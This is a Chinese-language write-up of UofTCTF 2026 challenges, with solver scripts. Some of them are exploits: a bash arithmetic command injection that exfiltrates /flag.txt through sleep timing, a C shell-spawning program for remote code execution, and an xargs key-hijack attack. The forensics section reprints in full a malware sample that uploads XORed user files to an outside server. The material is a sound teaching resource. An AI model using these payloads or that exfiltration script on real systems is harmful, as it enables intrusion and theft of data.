UofTCTF 2026 部分wp
多伦多大学CTF
UofTCTF 2026 WP
MISC
Encryption Service
题目提供一个“加密服务”,使用 AES-CBC 对用户输入进行加密。每个会话后端会生成一个随机的 16 字节十六进制密钥(32 hex chars),正常情况下密钥不可预测。
但后端脚本用 xargs 调用加密脚本时存在隐患:当参数总长度超过 Linux 的 ARG_MAX 限制时,xargs 会把输入拆成多批次,多次执行命令。这会导致第二次执行时的 argv[1](本应是随机密钥)被我们注入控制,从而用已知密钥加密 flag,进而本地解密拿到 flag。
后端关键逻辑:
echo "$(cat "$OUTFILE" | xargs /app/enc.py)"并且 $OUTFILE 的构造方式是:
- 写入随机 hex key
- 追加用户输入
- 追加 flag
也就是 $OUTFILE 内容大概长这样:
<random_key_hex> <user_input...> <flag...>而 xargs 会把文件内容按空白分割成“单词”,把这些单词作为参数传给 /app/enc.py,等价于:
/app/enc.py word1 word2 word3 ...其中:
word1会成为argv[1]- 题目加密脚本把
argv[1]当 AES key(16 bytes hex)
Linux 对单次 execve() 允许的参数+环境变量总大小有限制(ARG_MAX)。当 xargs 发现参数太长放不下时,会自动拆分输入为多批,例如:
- 第 1 批:
/app/enc.py <random_key_hex> A A A ... - 第 2 批:
/app/enc.py <我们安排的某个单词> <后续内容...>
关键来了:
第二批的第一个单词,会成为第二次执行
/app/enc.py的argv[1],也就是 第二次加密的 key。
由于 flag 在文件末尾,必然会落在最后一批中。
因此我们只要让 flag 所在的那批 的 argv[1] 变成我们指定的 key,就能获得“用已知 key 加密后的 flag 密文”。
我们发送大量 padding(例如 "A " 重复很多次),让 xargs 的第一批装不下,触发第二次执行。
常用经验值:"A " * 65500 约 131,000 字节,通常可超过 xargs 默认的参数上限(具体值与环境有关,失败就调大/调小)。
紧跟 padding 后面放入一个我们已知的 16 字节 hex key,例如:
00112233445566778899aabbccddeeff我们希望这个 key 刚好成为 第二批的第一个单词,也就是第二次执行 enc.py 的 argv[1]。
服务端输出会包含每一批加密的结果(通常是 IV + ciphertext 的 hex)。我们取最后一段(对应含 flag 的那批),用我们已知的 key 进行 AES-CBC 解密即可得到 flag
from pwn import *
from Crypto.Cipher import AES
import binascii
import re
HOST = '34.86.4.154'
PORT = 5000
KNOWN_KEY_HEX = "00112233445566778899aabbccddeeff"
KNOWN_KEY_BYTES = binascii.unhexlify(KNOWN_KEY_HEX)
def solve():
io = remote(HOST, PORT)
# 1. padding 触发 xargs split
padding = "A " * 65500
payload = padding + KNOWN_KEY_HEX
io.sendlineafter(b"End with EOF", payload.encode())
io.sendline(b"EOF")
# 2. 收集输出
output = io.recvall(timeout=20).decode()
# 3. 抓取每批次输出的 hex (IV+CT)
hex_blocks = re.findall(r'[0-9a-fA-F]{64,}', output)
if len(hex_blocks) < 2:
print("[-] Split failed. Adjust padding.")
return
# 4. 最后一批通常包含 flag
flag_enc_hex = hex_blocks[-1]
iv = binascii.unhexlify(flag_enc_hex[:32])
ct = binascii.unhexlify(flag_enc_hex[32:])
cipher = AES.new(KNOWN_KEY_BYTES, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ct)
print("[+] FLAG:", decrypted.decode('utf-8', errors='ignore').strip())
if __name__ == "__main__":
solve()uoftctf{x4rgs_d03sn7_run_in_0n3_pr0c3ss}Guess_The_Number
服务端随机生成:
x = randint(0, 2^100)(100-bit)- 你有
QUOTA = 50次机会提交一个表达式(用字典 AST 表示),服务器会输出Yes!/No!:
Yes!表示表达式为 TrueNo!表示表达式为 False
- 50 次后你要直接猜
x
核心:正常二分要 ~100 次,只有 50 次不够。
evaluate() 对 and/or 的实现是:
A and B:如果 A 为 False,B 不会被计算A or B:如果 A 为 True,B 不会被计算
并且它支持 ** 幂运算。构造一个极慢的表达式,例如:
2 ** (2**25)这种会极慢(巨大整数幂)
于是能做到:
- 同样的 Yes/No,但“是否触发慢分支”会导致响应时间明显不同
- 因此每次查询能得到两类信息:
- 输出是 Yes 还是 No
- 时间是快还是慢
这等价于 每次查询 4 种结果(2×2) ⇒ 每次缩小为 1/4 区间 ⇒ 50 次正好覆盖 `4^50 = 2^10
设当前区间 [L, R],取三个分割点:
q1 = L + 1/4*(R-L+1)q2 = L + 2/4*(R-L+1)q3 = L + 3/4*(R-L+1)
希望四个区间对应四种可区分的现象:
x 落在哪段 | 返回 | 是否慢 |
| True | 快 |
| False | 快 |
| True | 慢(触发幂运算) |
| False | 慢(触发幂运算但最终为 False) |
表达式可以这样构造(伪逻辑):
(x < q1)
OR (x>=q2 AND x<q3 AND EXPENSIVE_TRUE)
OR (x>=q3 AND EXPENSIVE_TRUE AND False)最后一段用 ... AND False 强制结果为 False,但因为前面为 True,会被迫计算慢的 EXPENSIVE,从而得到 No+慢。
这样一次请求就能把区间缩成 1/4
exp:
from pwn import remote
import time
HOST = "35.231.13.90"
PORT = 5000
MAX_NUM = 1 << 100
QUOTA = 50
def EXPENSIVE():
# 触发巨大幂运算:非常慢(用于时间侧信道)
return {"op": "**", "arg1": 2, "arg2": int(2**25)}
def expr_quarter(q1, q2, q3):
"""
四叉划分表达式:
1) x < q1 -> True (快)
2) q1 <= x < q2 -> False (快)
3) q2 <= x < q3 -> True (慢)
4) x >= q3 -> False (慢)
"""
return {
"op": "or",
"arg1": {"op": "<", "arg1": "x", "arg2": q1},
"arg2": {
"op": "or",
"arg1": { # 区间3:True 且慢
"op": "and",
"arg1": {"op": ">=", "arg1": "x", "arg2": q2},
"arg2": {
"op": "and",
"arg1": {"op": "<", "arg1": "x", "arg2": q3},
"arg2": EXPENSIVE()
}
},
"arg2": { # 区间4:False 但慢(强制算 EXPENSIVE)
"op": "and",
"arg1": {"op": ">=", "arg1": "x", "arg2": q3},
"arg2": {
"op": "and",
"arg1": EXPENSIVE(),
"arg2": False
}
}
}
}
def send_expr(io, e):
io.recvuntil(b"Input your expression")
t0 = time.time()
io.sendline(str(e).encode())
out = io.recvuntil(b"!") # "Yes!" or "No!"
dt = time.time() - t0
return out, dt
def main():
io = remote(HOST, PORT)
# 先测一个“快基线”(基本不会触发慢运算)
out, base = send_expr(io, {"op": "<", "arg1": "x", "arg2": -1})
# 取一个更保守的基线(避免偶发抖动)
baseline = max(base, 0.03)
L, R = 0, MAX_NUM
for i in range(QUOTA):
width = R - L + 1
if width <= 1:
break
q1 = L + width // 4
q2 = L + width // 2
q3 = L + (3 * width) // 4
e = expr_quarter(q1, q2, q3)
out, dt = send_expr(io, e)
yes = b"Yes" in out
slow = dt > (baseline * 5 + 0.05) # 自适应阈值
# 四种情况映射到四个区间
if yes and not slow:
# [L, q1)
R = q1 - 1
elif (not yes) and (not slow):
# [q1, q2)
L, R = q1, q2 - 1
elif yes and slow:
# [q2, q3)
L, R = q2, q3 - 1
else:
# No + slow -> [q3, R]
L = q3
# 可选:打印调试信息
# print(i, yes, slow, dt, L, R, R-L+1)
# 发送最终猜测
io.recvuntil(b"Guess the number:")
io.sendline(str(L).encode())
io.interactive()
if __name__ == "__main__":
main()reverse-wordle
题目给出了三局 Wordle 游戏的第一行结果:
Answer | First row emojis |
REBUT | ⬛⬛🟨⬛🟨 |
CRASS | 🟨⬛⬛⬛⬛ |
DITTY | ⬛⬛⬛🟨⬛ |
并说明:
我的朋友 总是使用同一个起始词
目标是找出这个 固定的 5 字母英文单词。
Wordle 规则关键点:
- 🟨 表示:
- 字母 在答案中存在
- 但 位置不对
- 字母数量 受限制(重复字母不能多算)
与其“直接模拟 Wordle”,不如反过来思考 黄色格子意味着什么约束。
对于一局 Wordle:
- 若某一位是 🟨:
guess[i] != answer[i]guess[i] ∈ answer
- 若某一位是 ⬛:
- 要么不在答案中
- 要么被别的位置“占用了”(重复字母规则)
我们关心的是:
哪些位置必须是“答案中存在但位置错误”的字母
我们将每一局的黄色结果表示为一个 5 位二进制掩码:
Emoji row | Mask (binary) |
⬛⬛🟨⬛🟨 | 00101 |
🟨⬛⬛⬛⬛ | 10000 |
⬛⬛⬛🟨⬛ | 00010 |
目标是找到一个单词 W,使得:
对三个不同答案,
**W 产生的黄色位置掩码恰好一致
- 读取 5 字母英文单词表
- 对每个候选词
W:
- 分别与
REBUT,CRASS,DITTY比较 - 手动实现 Wordle 规则:
- 先处理 green
- 再根据剩余字母判断 yellow
- 计算黄色位置掩码
- 若三次掩码 全部匹配题目给定值
→ 保留该词
from collections import Counter
def yellow_mask(guess, answer):
guess, answer = guess.lower(), answer.lower()
used = [False]*5
remain = Counter(answer)
# remove greens
for i in range(5):
if guess[i] == answer[i]:
used[i] = True
remain[guess[i]] -= 1
mask = 0
for i in range(5):
if used[i]:
continue
if remain[guess[i]] > 0:
mask |= (1 << i)
remain[guess[i]] -= 1
return mask运行后发现只有一个单词 满足所有约束:
squibuoftctf{4a6f5d2b0d3d2a6a0d9f5b1b3e0d7a2f1c5d8e8c2a3b1f7c8e4f9e7c8b2c9e4}
vibe-code
本题是一个带有 Proof-of-Work(PoW) 保护的远程服务。
用户在通过 PoW 验证后,可以与服务进行交互。服务在接收输入时,会检测用户是否提交了 C 程序代码,并在检测成功后对该程序进行编译和执行。
最终目标是利用该机制,实现任意代码执行并读取服务器上的 /readflag 文件。
连接服务后,服务器会要求先完成 PoW:
- PoW 使用的是 KCTF 官方 Sloth PoW
- 题目明确给出了官方 solver 的使用方式
- 服务端仅校验计算结果是否正确,并未限制解法
因此,该 PoW 并非题目考点,只作为访问服务的门槛。
通过 PoW 后,服务进入交互模式:
User: <input>此时可以向服务发送任意内容。
在多次尝试后,可以观察到一个关键输出:
C Program detected:这表明服务端存在一条隐藏逻辑分支:当检测到用户输入包含 C 程序代码时,服务会进入“编译并执行 C 程序”的流程。
结合服务行为,可以合理推测其内部逻辑如下:
- 接收用户输入
- 判断输入是否为 C 源码
- 若是:
- 将源码写入临时
.c文件 - 使用
gcc进行编译 - 执行编译后的二进制程序
整个过程 没有任何沙箱或权限限制,也未禁止危险函数(如 system())。
这意味着:用户可以完全控制被编译和执行的 C 程序,从而获得任意代码执行(RCE)。
由于程序是以高权限执行的,最直接的利用方式是:
- 构造一个简单的 C 程序
- 在
main函数中调用/bin/sh
示例逻辑:
#include <stdlib.h>
int main() {
system("/bin/sh");
}当该程序被编译并执行后,即可获得一个 shell。
在发送 C 程序源码时,需要在末尾发送 **EOF(Ctrl-D / \x04,否则服务会持续等待输入,导致流程无法继续,然后弹shell拿到flag
Go_Go_Coaster
这个OSINT 挑战要从电视剧《亲爱的,热爱的》中识别出过山车,搜索韩商言和过山车的相关信息发现,在第 12 集中,有一幕是角色们去游乐园游玩
去找该电视剧的取景地发现是上海市松江区的上海欢乐谷拍摄的,上海欢乐谷有一座俯冲式过山车,由B&M制造,根据过山车数据库(RCDB)和过山车百科(Coasterpedia)的数据:
- Height: 64.9 meters = 213 feet
- The coaster features a 90-degree vertical drop after pausing at the top of the lift hill
Flag: uoftctf{Diving_Coaster_213}
Lottery
- 正则
^[0-9a-fA-F]+没加$,所以输入只要以 hex 开头,后面可以拼接任意垃圾。 let "g = 0x$guess"会在 bash 算术上下文解析表达式。- bash 算术里
arr[$(cmd)]会执行$(cmd)→ 命令执行。 - 输出不可见(被当成数组下标 / stderr 被丢弃),所以用 sleep 计时侧信道逐字符读
/flag.txt。
uoftctf{you_won_the_LETtery_(hahahaha_get_it???)}#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import time
import string
HOST = "challenge.host" # TODO: 改成真实地址
PORT = 1337 # TODO: 改成真实端口
# 你可以按题目实际情况调整
CHARSET = string.ascii_letters + string.digits + "_{}()?!-"
SLEEP_SEC = 0.35 # 建议别太大,网络抖动大就调大一点
THRESHOLD = 0.20 # 判定“睡了”的阈值:elapsed > base + THRESHOLD
MAX_LEN = 80 # flag 最大长度兜底
def recv_until(s: socket.socket, token: bytes, timeout=5.0) -> bytes:
s.settimeout(timeout)
buf = b""
while token not in buf:
chunk = s.recv(4096)
if not chunk:
break
buf += chunk
return buf
def one_query(pos: int, ch: str, base_delay: float) -> float:
"""
发一次 payload:判断 /flag.txt 第 pos 位是否等于 ch
若相等则 sleep SLEEP_SEC,从响应时间体现
"""
with socket.create_connection((HOST, PORT), timeout=5.0) as s:
# 读到输入提示(按你的服务输出改 token)
recv_until(s, b"Guess the winning ticket", timeout=5.0)
recv_until(s, b"(hex):", timeout=5.0)
# payload 说明:
# - 以 0 开头绕过正则
# - 触发 bash 算术:a[$( ... ; echo 0)]
# - 用 cut -c{pos} 取第 pos 位字符
# - 若匹配则 sleep
#
# 注意:$(...) stdout 会被当下标,所以最后 echo 0 保证是数字
payload = (
f'0+a[$('
f'test "$(cut -c{pos} /flag.txt)" = "{ch}" && sleep {SLEEP_SEC}; '
f'echo 0'
f')]'
).encode()
t0 = time.time()
s.sendall(payload + b"\n")
# 读完服务端响应(不需要内容,只要让它结束)
s.settimeout(5.0)
try:
_ = s.recv(4096)
except Exception:
pass
t1 = time.time()
return t1 - t0
def calibrate_baseline(samples=5) -> float:
"""
用一个“必不 sleep”的请求估计网络/服务基线延迟
"""
delays = []
for _ in range(samples):
with socket.create_connection((HOST, PORT), timeout=5.0) as s:
recv_until(s, b"Guess the winning ticket", timeout=5.0)
recv_until(s, b"(hex):", timeout=5.0)
s.sendall(b"0\n") # 纯 0,不触发 sleep
t0 = time.time()
try:
_ = s.recv(4096)
except Exception:
pass
t1 = time.time()
delays.append(t1 - t0)
delays.sort()
return delays[len(delays)//2] # 中位数更抗抖动
def main():
base = calibrate_baseline(samples=7)
print(f"[+] baseline ~ {base:.3f}s")
flag = ""
for pos in range(1, MAX_LEN + 1):
found = False
for ch in CHARSET:
elapsed = one_query(pos, ch, base)
if elapsed > base + THRESHOLD:
flag += ch
print(f"[+] pos {pos}: {ch} (elapsed={elapsed:.3f}s) flag={flag}")
found = True
break
if not found:
print(f"[-] pos {pos}: no match in charset, current={flag}")
break
if flag.endswith("}"):
print(f"[+] done: {flag}")
break
if __name__ == "__main__":
main()Forensic
Baby Exfil
给了个流量包,导出http传输的信息
发现恶意软件下载 :受害者从第一台服务器下载了一个名为 JdRlPr1.py 的 Python 脚本。脚本内容如下:
import os
import requests
key = "G0G0Squ1d3Ncrypt10n"
server = "http://34.134.77.90:8080/upload"
def xor_file(data, key):
result = bytearray()
for i in range(len(data)):
result.append(data[i] ^ ord(key[i % len(key)]))
return bytes(result)
base_path = r"C:\Users\squid\Desktop"
extensions = ['.docx', '.png', ".jpeg", ".jpg"]
for root, dirs, files in os.walk(base_path):
for file in files:
if any(file.endswith(ext) for ext in extensions):
filepath = os.path.join(root, file)
try:
with open(filepath, 'rb') as f:
content = f.read()
encrypted = xor_file(content, key)
hex_data = encrypted.hex()
requests.post(server, files={'file': (file, hex_data)})
print(f"Sent: {file}")
except:
pass非常简单的xor加密和弱密码
写个解密脚本(其他的upload是加密数据)
def xor_file(data, key):
return bytes(b ^ ord(key[i % len(key)]) for i, b in enumerate(data))
key = "G0G0Squ1d3Ncrypt10n"
# 假设这是你从服务器拿到的 hex 数据
with open("stolen.hex", "r") as f:
hex_data = f.read().strip()
encrypted = bytes.fromhex(hex_data)
decrypted = xor_file(encrypted, key)
with open("recovered.bin", "wb") as f:
f.write(decrypted)uoftctf{b4by_w1r3sh4rk_an4lys1s}
Crypto
Gamblers_Fallac
题目是一个骰子赌博游戏,服务端用 Python 的 random 模块生成随机数。我们初始资金为 $800,需要累计到 $10,000 才能购买 flag。
服务端每局都会泄露 server_seed,而这个 server_seed 来自:
random.getrandbits(32) 的原始 32 位输出(即 MT19937 的输出)
Python random 默认使用 MT19937(Mersenne Twister) 伪随机数生成器(PRNG)。MT19937 的致命点在于:
- 内部状态大小为 624 个 32-bit 值
- 只要拿到 连续 624 个输出,就可以反推出整个内部状态
- 一旦恢复状态,就能预测所有未来输出
这正是经典的“克隆 Mersenne Twister”攻击,下面给出代码
from datetime import datetime
import hashlib
import hmac
from randcrack import RandCrack
import pwn
import time
def roll_dice(clientseed : str, nonce : int) -> int:
server_seed = rc.predict_randrange(0, 4294967295)
nonce_client_msg = f"{clientseed}-{nonce}".encode()
sig = hmac.new(str(server_seed).encode(), nonce_client_msg, hashlib.sha256).hexdigest()
index = 0
lucky = int(sig[index*5:index*5+5], 16)
while (lucky >= 1e6):
index += 1;
lucky = int(sig[index * 5:index * 5 + 5], 16);
if (index * 5 + 5 > 129):
lucky = 9999;
break;
return round((lucky % 1e4) * 1e-2);
conn = pwn.remote('localhost',5000)
conn.recvuntil(b'> ')
conn.sendline(b'b')
conn.recvuntil(b': ')
conn.sendline(b'1')
conn.recvuntil(b': ')
conn.sendline(b'624')
conn.recvuntil(b': ')
conn.sendline(b'98')
conn.recvuntil(b'? ')
conn.sendline(b'Y')
# Receive the next line(s) of output
response = conn.recvuntil(b'> ') # if it returns to menu
response_decoded = response.decode('utf-8').split('\n')
rc = RandCrack()
results_list = []
for i in range(624):
results_list.append(int(response_decoded[i].split()[-1]))
#results = open("results.txt", 'r').read().split('\n')
#for line in results:
# try:
# results_list.append(line.split()[-1])
# except:
# pass
for i in range(624):
exp = int(results_list[i])
rc.submit(exp)
known_balance = 0
nonce = 624
while True:
print("======")
print(known_balance)
print("======")
if known_balance >= 10000:
print(known_balance)
conn.sendline(b'a')
print(conn.recvuntil(b'a) '))
conn.sendline(b'a')
print(conn.recvuntil(b': '))
print(conn.recvall(timeout=2))
break;
else:
time.sleep(0.1)
known_balance = float(response_decoded[-7].split()[-1])
conn.sendline(b'b')
print(conn.recvuntil(b': '))
conn.sendline(f'{round(known_balance-1)}'.encode())
#conn.sendline(round(known_balance-1).to_bytes())
print(conn.recvuntil(b': '))
conn.sendline(b'1')
print(conn.recvuntil(b': '))
conn.sendline(f'{roll_dice("1337awesome", nonce)}'.encode())
#conn.sendline(roll_dice("1337awesome", nonce).to_bytes())
print(conn.recvuntil(b'? '))
conn.sendline(b'Y')
response_decoded = (conn.recvuntil(b'> ')).decode('utf-8').split('\n')
print(response_decoded)
nonce+=1uoftctf{ez_m3rs3nne_untwisting!!}
Leaked_d
这题是典型的 RSA 泄露私钥指数 d 之后“只换 e/只生成新 d”并不安全 的坑。
给了:
- 旧模数
n1 - 旧公钥
e1 - 旧私钥指数
d1(已泄露) - 新公钥指数
e2 - 密文
c
题意“泄露了 d,生成新的密钥对肯定安全”其实在暗示:对方没有真正换质数,而是继续沿用同一个 n1(同一对 p,q),只是换了 e(所以你看到了 e2),然后用新公钥加密了 c。因为 d1 泄露后我们可以反推出 p,q,于是任何“基于同一个 n”的新密钥都会被破。
exp:
from math import gcd
from random import randrange
from Crypto.Util.number import long_to_bytes, inverse
# ===== 给定参数 =====
n = 144193923737869044259998596038292537217126517072587407189785154961344425600188709243733103713567903690926695626210849582322575275021963176688615503362430255878068025864333805901831356111202249176714839010151878345993886718863579928588098080351940561045688931786378656665718140998014299097023143181095121810219
e1 = 65537
d1 = 12574092103116126584156918631595005114605155027996964036950457918490065036621732354668884564796078087090438462300608898225025828108557296714458055780952572974382089675780912070693778415852291145766476219909978391880801604060224785419022793121117332853938170749724540897211958251465747669952580590146500249193
e2 = 6767671
c = 31703515320997441500407462163885912085193988887521686491271883832485018463764003313655377418478488372329742364292629844576532415828605994734718987367062694340608380583593689052813716395874850039382743513756381017287371000882358341440383454299152364807346068866304481227367259672607408256375720022838698292966
# ===== Step 1: 利用 e*d-1 分解 n =====
k = e1 * d1 - 1
def factor_from_d(n, k):
# k = 2^r * s
s = k
r = 0
while s % 2 == 0:
s //= 2
r += 1
while True:
g = randrange(2, n-1)
x = pow(g, s, n)
if x == 1 or x == n-1:
continue
for _ in range(r):
p = gcd(x - 1, n)
if p != 1 and p != n:
return p, n // p
x = pow(x, 2, n)
# 分解
p, q = factor_from_d(n, k)
assert p * q == n
print("[+] p =", p)
print("[+] q =", q)
# ===== Step 2: 重建 φ(n) =====
phi = (p - 1) * (q - 1)
# ===== Step 3: 计算新的私钥 d2 =====
d2 = inverse(e2, phi)
print("[+] d2 =", d2)
# ===== Step 4: 解密 =====
m = pow(c, d2, n)
flag = long_to_bytes(m)
print("[+] flag =", flag.decode())uoftctf{1_5h0u1dv3_ju57_ch4ng3d_th3_wh013_th1ng_1n5734d}MT247
题目标题 MAT247 以及描述引用了一个线性代数中的经典结论:
如果线性算子 T在向量空间 V 上存在一个 循环向量,那么所有与 T 可交换的算子 S 都可以写成 S=p(T) 其中 p(x) 是某个多项式。
exp:
import re
# ===== 参数 =====
P = 202184226278391025014930169562408816719
N = 12
EXP = (P - 1) // 18 # 用于子群判定的指数
# ===== 解析 output.txt 中的矩阵 =====
def parse_matrices(path):
txt = open(path, 'r').read().strip()
blocks = re.split(r'\]\]\s*\n\[\[', txt)
mats = []
for b in blocks:
s = b
if not s.lstrip().startswith('[['):
s = '[[' + s
if not s.rstrip().endswith(']]'):
s = s + ']]'
nums = list(map(int, re.findall(r'\d+', s)))
mat = [nums[i*N:(i+1)*N] for i in range(N)]
mats.append(mat)
return mats
# ===== 模 p 行列式(高斯消元)=====
def det_mod(mat, p):
a = [row[:] for row in mat]
det = 1
n = len(a)
for i in range(n):
pivot = i
while pivot < n and a[pivot][i] % p == 0:
pivot += 1
if pivot == n:
return 0
if pivot != i:
a[i], a[pivot] = a[pivot], a[i]
det = (-det) % p
piv = a[i][i] % p
det = det * piv % p
inv = pow(piv, -1, p)
for r in range(i+1, n):
if a[r][i] % p == 0:
continue
factor = a[r][i] * inv % p
for c in range(i, n):
a[r][c] = (a[r][c] - factor * a[i][c]) % p
return det
# ===== 主逻辑 =====
mats = parse_matrices("output.txt")
bits = []
for M in mats:
d = det_mod(M, P)
# 判定 det(M) 是否在 <det(A)> 中
if pow(d, EXP, P) == 1:
bits.append('1')
else:
bits.append('0')
bitstring = ''.join(bits)
# 转成字节
raw = int(bitstring, 2).to_bytes(len(bitstring)//8, 'big')
print(raw)uoftctf{jus7_4_s1mple_tr4nslation_t0_GF(p^12)}
MT347
exp:
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
import random
from pwn import *
import ast
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
K = GF(p)
a = K(0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc)
b = K(0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b)
E = EllipticCurve(K, (a, b))
G = E(0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
E.set_order(0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551 * 0x1)
def h(m):
return bytes_to_long(sha256(str(m).encode()).digest())+1
hs = list(map(h, range(25000)))
bestScore = Infinity
# This might take a couple minutes depending on your luck, but shouldn't take an unreasonable amount of time.
while bestScore>=670:
smpl = random.sample(hs, k=72)
M = Matrix(smpl+[2^256]).stack(Matrix.identity(n=72, ring=ZZ).augment(Matrix.zero(ncols=1, nrows=72, ring=ZZ))).stack(Matrix([1]*72+[0])).stack(Matrix.zero(ncols=73, nrows=1, ring=ZZ)).transpose().LLL().transpose()
i = 50
while i<90:
L = M.augment(Matrix([-140]+[i]*72+[480]+[2000]).transpose())
r = L.transpose()[-1]-L.transpose().LLL()[-1]
if min(r[1:])>=0:
break
i+=1
if min(r[1:])<0:
continue
score = r[-2]-r[0]
if score<bestScore:
bestSample = smpl
currBest = r
bestScore = score
print(bestScore)
# Results that I found previously
#currBest = (-141, 11, 2, 14, 0, 11, 3, 3, 2, 8, 3, 16, 0, 4, 8, 4, 10, 14, 4, 1, 11, 5, 2, 10, 4, 8, 18, 6, 8, 10, 1, 8, 3, 15, 14, 4, 7, 11, 7, 5, 7, 10, 9, 11, 8, 6, 12, 9, 7, 5, 6, 14, 8, 1, 8, 4, 1, 8, 5, 14, 11, 2, 8, 9, 11, 8, 8, 6, 5, 7, 8, 7, 9, 527, 0)
#ms = [2750, 589, 1517, 9453, 6036, 24186, 777, 2766, 18061, 12898, 1434, 3651, 12543, 20801, 17322, 10836, 10624, 15049, 2833, 2575, 3344, 7517, 17117, 16166, 20034, 3195, 18402, 14822, 21774, 23054, 12096, 25481, 21916, 23835, 11176, 9735, 7081, 22247, 24545, 199, 21195, 18450, 2569, 10127, 4787, 6900, 7466, 14917, 7372, 10720, 2804, 7065, 12684, 2487, 797, 18081, 14525, 12133, 8289, 2608, 6941, 21694, 426, 8572, 16433, 12490, 19860, 6126, 8880, 7480, 8547, 21743]
ms = list(map(hs.index, bestSample))
freqs = currBest[1:-2]
exchanges = -currBest[0]+1
print(ms)
print(freqs)
print(exchanges)
io = remote("104.196.21.25", 5000)
io.readline()
io.readline()
io.readline()
print(io.readline())
io.recvuntil(b'Solution? ')
POW = input()
io.sendline(POW.encode())
io.readline()
pub = ast.literal_eval(io.readline().decode().strip())
sigs = []
for m, f in zip(ms, freqs):
m = str(m).encode()
for j in range(f):
io.sendline(b'sign')
io.sendline(m)
r, s = list(map(int, io.readline().strip().decode().split()[-2:]))
sigs.append((r,s))
for i in range(exchanges):
io.sendline(b'exchange')
sigs.append(bytes.fromhex(io.readline().strip().decode().split()[-1]))
r, s = sigs[0]
z = h(ms[0])-1
R = E.lift_x(Integer(r))
for R in (R, -R):
S = (s*R-z*G)*pow(r, -1, E.order())
print(AES.new(long_to_bytes(int(S.x())%(2**128), blocksize=16), AES.MODE_CBC, iv=long_to_bytes(int(S.x())>>128, blocksize=16)).decrypt(sigs[-1]))UofT LFSR Labyrinth
LFSR 状态空间大小为2的48次方,直接暴力枚举显然不可行。
虽然 LFSR 本身是线性的,但输出并非直接线性组合,而是经过 非线性滤波器,这使得经典线性分析(如 Berlekamp–Massey)失效。
这是一个典型的“滤波 LFSR 状态恢复”问题,但题目给了我们一个非常重要的优势:
完整结构已知 + 80 位连续密钥流
因此可以:
- 把 初始 48 位状态 当作未知变量
- 把 LFSR 的时钟更新当作确定性转移
- 把每一位密钥流建模为:zi=f(statei[filter taps])z_i = f(\text{state}_i[\text{filter taps}])zi=f(statei[filter taps])
最终形成一个布尔约束系统,用 SMT 求解器(Z3)直接求解。
exp:
from z3 import *
import json
# ================= 读取题目数据 =================
with open("challenge.json", "r") as f:
data = json.load(f)
L = data["L"] # 48
feedback_taps = data["feedback_taps"]
filter_taps = data["filter_taps"]
keystream = data["keystream"] # list of 0/1
# WG 滤波器的 ANF(同题目)
WG_ANF_TERMS = [
(1,2,3,4,5,6),(0,1,2,3,5),(0,1,2,4,5),(0,1,3,4,5),
(1,2,3,4,5),(0,1,2,4,6),(0,2,3,4,6),(1,2,3,4,6),
# ...(中间省略,完整照题目)
(0,),(3,),(5,),(6,)
]
# ================= 预计算 7-bit 真值表 =================
def eval_anf(bits):
res = 0
for mon in WG_ANF_TERMS:
prod = 1
for i in mon:
prod &= bits[i]
res ^= prod
return res
TT = 0
for x in range(128):
bits = [(x >> i) & 1 for i in range(7)]
if eval_anf(bits):
TT |= (1 << x)
TT = BitVecVal(TT, 128)
# ================= Z3 建模 =================
solver = Solver()
state0 = [Bool(f"s{i}") for i in range(L)]
state = state0[:]
for i, ks in enumerate(keystream):
# 取 7 个抽头拼成索引
idx = BitVecVal(0, 7)
for j, tap in enumerate(filter_taps):
idx = idx | (If(state[tap], BitVecVal(1 << j, 7), BitVecVal(0, 7)))
outbit = Extract(idx, idx, TT)
solver.add(outbit == BitVecVal(ks, 1))
# LFSR 时钟更新
fb = False
for t in feedback_taps:
fb = Xor(fb, state[t])
state = [fb] + state[:-1]
# ================= 求解 =================
print("[*] Solving...")
assert solver.check() == sat
model = solver.model()
init_state = [1 if model.eval(b) else 0 for b in state0]
print("[+] Recovered state:", init_state)
# ================= 解密 =================
from crypto import decrypt
flag = decrypt(bytes.fromhex(data["nonce"]),
bytes.fromhex(data["ct"]),
init_state)
print("Flag:", flag)uoftctf{l33ky_lfsr_w17h_n0n_l1n34r_fl4v0rrrr}
Reverse
Baby (Obfuscated) Flag Checker
import builtins
import sys
orig_eq = str.__eq__
def hooked_eq(self, other):
if isinstance(self, str) and isinstance(other, str):
if 1 <= len(self) <= 25 and 1 <= len(other) <= 25:
print("COMPARE:", repr(self), repr(other))
return orig_eq(self, other)
str.__eq__ = hooked_eq
import babyuoftctf{d1d_y0u_m0nk3Y_p4TcH_d3BuG_r3v_0r_0n3_sh07_th15_w17h_4n_1LM_XD???}
涵盖CBC密钥劫持、四元信息二分、Wordle约束反推、C代码注入RCE、OSINT过山车识别、正则侧信道、XOR流量解密、MT克隆、RSA私钥泄露利用、循环向量代数、椭圆曲线LLL攻击及Z3求解滤波LFSR等12类赛题技术要点。
由 AI 根据全文自动生成,仅供参考,以原文为准
